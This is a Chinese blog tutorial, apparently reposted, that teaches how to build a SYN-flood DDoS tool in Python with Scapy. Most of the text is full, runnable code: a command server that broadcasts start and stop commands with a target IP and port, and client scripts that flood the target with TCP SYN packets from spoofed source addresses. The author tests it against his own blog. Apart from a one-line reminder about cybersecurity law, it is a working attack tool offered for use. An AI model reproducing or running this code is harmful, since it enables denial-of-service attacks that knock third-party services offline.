内容简介:首先安装
SYN泛洪攻击
SYN泛洪攻击
是一种比较常用的 Dos
方式之一。通过发送大量伪造的TCP连接请求,使被攻击主机资源耗尽(通常是CPU满负荷或内存不足)的攻击方式
我们都知道建立TCP连接需要三次握手。正常情况下客户端首先向服务器端发送 SYN报文
,随后服务端返回以 SYN
+ ACK
报文,最后客户端向服务端发送 ACK
报文完成三次握手
而 SYN泛洪攻击
则是客户端向服务器发送 SYN报文
之后就不再响应服务器回应的报文。由于服务器在处理TCP请求时,会在协议栈留一块缓冲区来存储握手的过程,当然如果超过一定时间内没有接收到客户端的报文,本次连接在协议栈中存储的数据将会被丢弃。攻击者如果利用这段时间发送大量的连接请求,全部挂起在 半连接状态
。这样将不断消耗服务器资源,直到 拒绝服务
Scapy3k基本用法
Scapy3k
其实就是 Scapy
的 Python 3版本,以下简称 Scapy
。 Scapy
是一个强大的交互式数据包处理程序。可用来发送、嗅探、解析和伪造网络数据包。在网络攻击和渗透测试重应用非常广泛。 Scapy
是一个独立的程序同时还可以作为Python的第三方库使用
首先安装 Scapy3k
,Windows不方便,下面的操作我都是在 Linux 中进行的
sudo pip install scapy
运行 scapy
sudo scapy
因为 Scapy
发送数据包需要 root
权限,所以这里加上 sudo
。另外运行的时候会出现一些警告信息,因为没有安装相应的依赖包,不过暂时用不到,所以不用管
接下来我们用 Scapy
构造一个简单的数据包
pkt = IP(dst = "192.168.50.10")
接下来构造 SYN
数据包,并发送出去
pkt = IP(src = "125.4.2.1",dst="192.168.50.10")/TCP(dport=80,flags="S") send(pkt)
我们构造了一个IP包和TCP包,并将它们组合到一块,这样就有了一个完整的TCP数据包,否则是无法发送出去的。IP包中我们指定了源地址 src
和目的地址 dst
,其中 src
是我们伪造的地址,这也是保护攻击者的一种方式。 flags
的值设定为 S
,说明我们要发送的是一个 SYN
数据包。非常简单的一段指令就够早了一个伪造了源IP地址的 SYN
数据包
代码实现
现在我们要用Python以第三方库的形式使用 Scapy
,使用方法和用交互式 Shell 的方式一样
前面我们构造了 SYN
数据包,现在需要实现随机伪造源IP地址、以及不同的源端口向目标主机发送 SYN
数据包:
import random from scapy.all import * def synFlood(tgt,dPort): srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport = dPort, flags="S") packet = ipLayer / tcpLayer send(packet)
DDos实现思路
前面我们已经实现了 SYN泛洪攻击
,而 DDos
则是多台主机一起发起攻击,我们只需要能发送命令,让连接到服务器的客户端一起向同一目标发起攻击就可以了
世界最大的黑客组织 Anonymous
经常使用 LOIC(low Orbit Ion Cannon,滴轨道离子炮)
进行大规模的 DDos
。 LOIC
有个 HIVEMIND
模式,用户可以通过连接到一台IRC服务器,当有用户发送命令,任何以 HIVEMIND
模式连接到IRC服务器的成员都会立即攻击该目标
这种方式的优点事不需要傀儡机,可以有很多"志同道合"的人一起帮助你实现 DDos
,不过不太适合在傀儡机中使用。当然实现思路有很多,根据不同情况的选择也会不同。而这里我们将采用客户端、服务器的方式来实现 DDos
,这种方式非常简单,可扩展性也比较强
argparse模块
由于Server端需要发送命令去控制Client端发起攻击,所以这里我们先规定好命令格式
#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>
-H
后面是被攻击主机的IP地址, -p
指定被攻击的端口号, -c
控制攻击的开始与停止
命令制定好了,接下来看一下如何使用命令解析库 argparse
# Import argparse package import argparse # New ArgumentParser object parser = argparse.ArgumentParser(description="Process some integers.") # Add parameter parser.add_argument('-p', dest='port', type = int, help = 'An port number!') # Parse command line arguments args = parser.parse_args() print("Port:",args.port)
上面的代码中,我们创建了一个 ArgumentParser
对象, description
参数是对命令行解析的一个描述信息,通常在我们使用 -h
命令的时候显示。 add_argument
添加我们要解析的参数,这里我们只添加了一个 -p
参数, dest
是通过 parse_args()
函数返回的对象中的一个属性名称。 type
就是解析参数的类型。 help
指定的字符串是为了生成帮助信息。 argparse
默认就支持 -h
参数,只要我们在添加参数的时候指定 help
的值就可以生成帮助信息了
socket模块
Python中的 socket
提供了访问BSD socket
的接口,可以非常方便的实现网络中的信息交换。通常我们使用 socket
的时候需要指定 ip地址、端口号、协议类型
。在进行 socket
编程之前我们先了解一下 客户端(Client)和服务器(Server)
的概念。通俗的讲,主动发起连接请求的称为 客户端
,监听端口响应连接的称为 服务器
。下面我写一个客户端和服务器的例子:
- 客户端
# Import socket package import socket # Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Establish connection s.connect(('192.168.0.100', 7786))
上面这个例子我们首先导入socket库,然后创建了一个socket对象,socket对象中的参数 AF_INET
表示我们使用的是IPV4协议, SOCK_STREAM
则表示我们使用的是基于流的TCP协议。最后我们指定 ip地址
和 端口号
建立连接
- 服务器
# Import socket package import socket cliList = [] # Create socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # Specify IP & Port s.bind(('0.0.0.0', 7786)) # Strat monitor s.listen(10) while True: # Receive a new connection sock, addr = s.accept() # Add sock to the list cliList.append(sock)
服务器的写法比客户端稍微复杂一些,在创建完socket之后,要绑定一个地址和端口,这里的 0.0.0.0
表示绑定到所有的网络地址,端口号只要是没被占用的就可以。之后开始监听端口,并在参数中指定最大连接数为10。最后循环等待新的连接,并将已连接的socket对象添加到列表中。更多相关细节可以查看 Python官方文档
代码实现
Server端
由于Server端能等待Client主动连接,所以我们在Server端发送命令,控制Client端发起 SYN泛洪攻击
在主函数中我们创建socket,绑定所有 网络地址
和 58868
端口并开始监听,之后我们新开一个线程来等待客户端的连接,以免阻塞我们输入命令
def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 58868)) s.listen(1024) t = Thread(target=waitConnect,args(s,)) t.start()
由于我们要给所有客户端发送命令,所以我们在新开的线程中将连接进来的socket添加到一个list中,这个稍后介绍,但在主函数中我们第一次输入命令之前需要至少有一个客户端链接到服务器,所以这里我判断了一下 socket
的长度
print('Wait at least a client connection!') while not len(socketList): pass print('It has been a client connection!')
现在循环等待输入命令,输入之后判断命令是否满足命令格式的基本要求,如果满足,就把命令发送给所有客户端
while True: print("=" * 50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') # Wait for input command cmd_str = input('Please input cmd:') if len(cmd_str): if cmd_str[0] == '#': sendCmd(cmd_str)
现在程序的大体框架已经有了,接下来编写主函数中没有完成的子功能。首先我们应该实现等待客户端的函数,方便开启新的线程
在这个函数中,我们只需要循环等待客户端的连接就可以,新连接的socket要判断一下是否在socketList中已经存储过了,如果没有,就添加到socketList中
# wait connection def waitConnect(s): while True: sock, addr = s.accept() if sock not in socketList: socketList.append(socket)
我们再来实现发送命令的函数,这个函数会遍历socketList,将每个socket都调用一次send将命令发送出去
# send command def sendCmd(cmd): print("Send command......") for sock in socketList: sock.send(cmd.encode = ('UTF-8'))
至此我们的 Server
端就完成了。新建一个文件,将其命名为 ddosSrv.py
,向其中添加如下代码
import socket import argparse from threading import Thread socketList = [] # Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' # Send command def sendCmd(cmd): print("Send command......") for sock in socketList: sock.send(cmd.encode('UTF-8')) # Wait connect def waitConnect(s): while True: sock, addr = s.accept() if sock not in socketList: socketList.append(sock) def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 58868)) s.listen(1024) t = Thread(target = waitConnect, args = (s, )) t.start() print('Wait at least a client connection!') while not len(socketList): pass print('It has been a client connection!') while True: print('=' * 50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxx -c <start>"') # Wait for input command cmd_str = input("Please input cmd:") if len(cmd_str): if cmd_str[0] == '#': sendCmd(cmd_str) if __name__ == '__main__': main()
Client端
我们将在Client端实现对主机的 SYN
泛洪攻击,并在脚本启动后主动连接Server端,等待Server端发送命令
在主函数中我们先创建 ArgumentParser()
对象,并将需要解析的命令参数添加好
def main(): p = argparse.ArgumentParser() p.add_argument('-H', dest = 'host', type = str) p.add_argument('-p', dest = 'port', type = int) p.add_argument('-c', dest = 'cmd', type = str)
现在可以创建socket,连接服务器了。这里为了测试,我们连接到本地的58868端口
try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('127.0.0.1', 58868)) print('To connected server was success!') print('=' * 50) cmdHandle(s, p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0)
我们将接受命令和处理命令定义在一个单独的函数中。这里我们使用一个全局变量,用于判断是否有进程正在发起 SYN泛洪攻击
。之后就开始循环接收命令了,接收道德数据是 byte
型,我们需要对其进行解码,解码之后才是字符串。如果接收到的数据长度为0,就跳过后续的内容,重新接收数据
# Process command def cmdHandle(sock, parser): global curProcess while True: # Receive command data = sock.recv(1024).decode('UTF-8') if len(data) == 0: print('The data is empty') continue;
如果数据长度不为0,就判断是否具有命令基本格式的特征 #
,满足基本条件就需要用 ArgumentParser
对象来解析命令
if data[0] == '#': try: # Parse command options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd
命令参数解析出来后,还需要判断到底是 start
命令还是 stop
命令。如果是 start
命令,首先要判断当前是否有进程在运行,如果有进程判断进程是否存活。如果当前有进程正在发起 SYN泛洪攻击
,我们就先结束这个进程,并清空屏幕,然后再启动一个进程,发起 SYN
泛洪攻击
# DDos start command if m_cmd.lower() == 'start': if curProcess != None and curprocess.is_alive(): # End of process curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is start') p = Process(target = synFlood, args = (m_host, m_port)) p.start() curProcess = p
如果命令是 stop
,并且有进程存活,就直接结束这个进程,并清空屏幕,否则就什么也不做
# DDos stop command elif m_cmd.lower() == 'stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!')
最后,新建一个文件,命名为 ddosCli.py
,向其中添加如下代码
# -*- coding: utf-8 -*- import sys import socket import random import argparse from multiprocessing import Process from scapy.all import * import os isWorking = False curProcess = None # SYN flood attack def synFlood(tgt,dPort): print('='*100) print('The syn flood is running!') print('='*100) srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet) # Command format '#-H xxx.xxx.xxx.xxx -p xxxx -c <start>' # Process command def cmdHandle(sock,parser): global curProcess while True: # Receive command data = sock.recv(1024).decode('utf-8') if len(data) == 0: print('The data is empty') return if data[0] == '#': try: # Parse command options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd # DDos start command if m_cmd.lower() == 'start': if curProcess != None and curProcess.is_alive(): curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is start') p = Process(target=synFlood,args=(m_host,m_port)) p.start() curProcess = p # DDos stop command elif m_cmd.lower() =='stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!') def main(): # Add commands that need to be parsed p = argparse.ArgumentParser() p.add_argument('-H', dest='host', type=str) p.add_argument('-p', dest='port', type=int) p.add_argument('-c', dest='cmd', type=str) print("*" * 40) try: # Create socket object s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Connect to Server s.connect(('127.0.0.1',58868)) print('To connected server was success!') print("=" * 40) # Process command cmdHandle(s,p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0) if __name__ == '__main__': main()
程序测试
首先运行 Server端
脚本:
sudo python3 ddosSrv.py
然后再运行 Client端
脚本,一定要用 root
权限运行
此时可以看到 Client端
已经提示连接成功了
Server端
也提示有一个客户端连接了
输入一个命令测试一下,这里我以我自己的博客为目标进行测试,各位请遵守网络安全法
看到 Client端
已经开始发送数据包了,说明已经发起了 SYN泛洪攻击
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 实现数字货币双花攻击的多种方法
- 记一次原生JS实现XSS攻击案例
- Invoke-TheHash:PowerShell实现的哈希传递攻击套件
- PHP实现的防止跨站和xss攻击代码【来自阿里云】
- 条条大路通罗马:实现数字货币双花攻击的多种方法
- 攻击者如何借助授权插件,实现macOS持久化凭据窃取
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
算法与数据结构(第二版)
傅清祥、王晓东 / 电子工业出版社 / 2001-8-1 / 34.00
本书是《计算机学科教学计划1993》的配套教材之一。它覆盖了《计算机学科教学计划1993》中开列的关于算法与数据结构主科目的所有知识单元。其主要内容有:算法与数据结构的概念、抽象数据类型(ADT)、基于序列的ADT(如表,栈,队列和串等)。反映层次关系的ADT(如树,堆和各种平衡树等)、关于集合的ADT(如字典,优先队列和共查集等)、算法设计的策略与技巧、排序与选择算法、图的算法、问题的计算复杂性一起来看看 《算法与数据结构(第二版)》 这本书的介绍吧!